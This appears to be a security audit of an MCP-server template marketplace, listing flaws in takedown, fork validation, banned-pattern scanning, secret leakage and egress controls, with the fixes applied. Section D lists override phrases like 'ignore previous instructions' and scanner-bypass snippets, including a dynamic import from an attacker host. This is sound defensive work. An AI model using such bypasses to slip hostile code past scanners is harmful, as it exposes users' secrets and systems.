buildmymcpserver/TEMPLATE_SECURITY_AUDIT.md

# Template Integration — Sovereign Audit

Date: 2026-05-19 · Scope: `apps/api/src/routes/templates.ts`, the create-server
template path in `servers.ts`, generator worker cache path, all `/templates/*` UI.

## Threat model

Actors: **publisher** (creates a template, may be malicious), **forker** (consumes a
template, may be a victim), **admin** (full control), **external attacker** (no
account), **compromised session** (attacker holding a victim's cookie).

Assets: forker's uploaded secrets, forker's container compute, every other tenant's
container, Postgres + Redis state, host Docker daemon, the ANTHROPIC_API_KEY.

---

## P0 — CRITICAL (fix immediately)

### A. Takedown does not stop the malicious container

`PATCH /v1/admin/templates/:id` with `status=takedown` updates `mcp_servers.status` to
`paused` but **never stops the Docker container**. The container keeps serving
traffic on its allocated port. Forkers' AI clients keep calling the malicious
endpoint. Admin gets the false impression that the threat is neutralized.

```ts
// current code:
await db.update(mcpServers).set({ status: 'paused', ... })
// missing: await stopContainer(server.containerId) for every affected server
```

**Severity**: Critical. The entire safety story of "takedown protects users" is
hollow. **Will fix below.**

### B. Fork accepts `specEdit` — silent edits that don't take effect

The wizard intentionally suppresses `specEdit` when forking (only sends `templateId`),
but a hand-crafted API request `POST /v1/servers` with `{ templateId, previewId,
specEdit }` would:

1. Enter the `specEdit` branch → merge edits into the cached spec
2. The cached spec then mismatches the **pre-built code** (which is also in the
   cache, untouched)
3. Worker uses pre-built code, ignoring the merged spec entirely

Result: the user thinks they renamed a tool / changed a schema; the deployed
container behaves as the original template. **Not a privilege-escalation, but a
trust-of-UI violation.** A clever attacker could exploit it to publish a server
under a misleading edited spec ("my fork is harmless because I changed X") when in
fact the original impl runs.

**Severity**: High. **Will fix below.**

### C. `templateId` on `POST /v1/servers` is user-controlled and unvalidated

Body field `templateId` is accepted with only Zod-`uuid()` validation. No check
that:
- The id points to an actual template
- The template is publicly forkable
- The user actually went through `POST /v1/templates/:slug/fork`

A user can therefore inflate any template's `forkCount` indefinitely by sending
fake creates with that templateId. Also: server's `templateId` column gets garbage
data, breaking attribution and the takedown cascade (paused servers wouldn't be
caught because `templateId` doesn't match any real template).

**Severity**: High (data integrity + fork-count manipulation). **Will fix below.**

---

## P1 — HIGH

### D. Banned-pattern scan is regex-leaky

Current patterns:
```js
/\beval\s*\(/,         // eval(
/\bnew\s+Function\s*\(/, // new Function(  — but Function(...) without `new` slips through
/\bchild_process\b/,
/ignore previous instructions/i,
/disregard ...above/i,
```

Trivial bypasses:
- `globalThis['ev' + 'al']('payload')` — no `eval(` literal
- `Function('return 1')()` — no `new` keyword, regex misses
- `import('https://attacker.com/payload.js')` — dynamic import isn't restricted
- `setTimeout('payload', 0)` — string-arg setTimeout evaluates code
- `require('child' + '_process')` — concat splits the literal
- `Buffer.from(b64, 'base64').toString()` then evaluate — multi-step decode

**The static scan must be treated as a tripwire, not a security boundary.** The
real defense is the Docker sandbox. Severity: **Medium** (defense-in-depth gap).

**Will fix below**: add `Function\s*\(`, `\bimport\s*\(`, common credential
patterns, `setTimeout/setInterval` with string args.

### E. Stored generated code may contain a published-by-mistake secret

If a publisher prompts Claude with their API key inlined (e.g., "use my key
sk-ant-api03-…"), Claude may include it verbatim in the generated code. That code
is stored in `templates.generatedCode` and rendered publicly on the detail page.

**Severity**: Medium. Mitigation: scan for high-entropy strings + known secret
prefixes at publish time. **Will fix below**.

### F. `allowedDomains` is collected but never enforced

The publish form accepts a list of allowed egress domains. We persist it. The
generator does not wire it into the container's network config. The field
**suggests** protection that does not exist — worse than no field at all.

**Severity**: Medium (false confidence). **Will document + warn in UI**.

---

## P2 — MEDIUM

### G. Slug regex looseness

`fork` and `detail` endpoints accept slug `min(1).max(64)` with no regex. Slugs are
used only for DB lookup (parameterized) and Redis (key-prefixed), so no immediate
exploit, but defensive hardening warranted. **Will fix**.

### H. Race: fork in flight during takedown

Window: ~milliseconds between fork POST and Redis cache write. If admin
takes down between the public-status check and `cacheSpec`/`cachePrebuiltCode`,
the cached entries leak the original code for 5min. Forker can still create from
that cache. Worst case: 1 extra fork before TTL evicts.

**Severity**: Low. Acceptable for v1. Note in audit log.

### I. N+1 query in `/v1/templates` list

For each template we do a separate `COUNT` for active deployments. Doesn't scale.
**Performance**, not security. Skip for v1.

### J. No rate limiting on fork

A logged-in user can drive port-exhaustion (4100–4999 = 900 slots) by forking
repeatedly. **Severity**: Low (single-tenant dev). Production: add rate limit.

---

## What's actually safe

- Cross-org template fork **always lands in the forker's own org** (we use
  `req.user!.orgId` for the new server). Forker can't write to another org.
- Slug uniqueness is enforced at DB level + retried with random suffix.
- SQL injection blocked by Drizzle parameterized queries.
- XSS blocked by React's auto-escape; no `dangerouslySetInnerHTML` anywhere.
- Pre-built code path correctly skips the render step — no Claude re-call leak.
- Banned-pattern scan runs at publish AND at fork-with-specEdit.
- Audit-log writes for every admin action (verify, hide, takedown).

---

## Fixes applied in this commit

1. **A — takedown stops containers** (`stopContainer` is now called for every
   affected server's `containerId`)
2. **B — fork rejects `specEdit`** with 422 (with clear error message)
3. **C — `templateId` validated** against an existing public template, and the
   `previewId` must have been issued for that template (linked via a Redis key
   `fork-ref:<previewId>` → templateId set during fork)
4. **D — additional banned patterns**: `Function\s*\(`, `\bimport\s*\(`,
   `setTimeout|setInterval\s*\(\s*['"\`]` (string-eval form), common secret prefixes
5. **E — secret scan at publish**: regex for `sk-ant-…`, `sk-live-…`, `AKIA…`,
   `ghp_…`, `xoxb-…`, AWS access keys
6. **G — slug regex tightened** on fork and detail endpoints
7. **F — UI warning + CHOICES.md note**: `allowedDomains` is collected but
   enforcement is Sprint 4

## Deferred (logged for tracking)

- **F (enforcement)** — Docker network-namespace + iptables egress rules per
  container. Sprint 4.
- **I** — single-query joins / cached aggregates for marketplace listing
- **J** — per-user fork rate limit (Redis token bucket)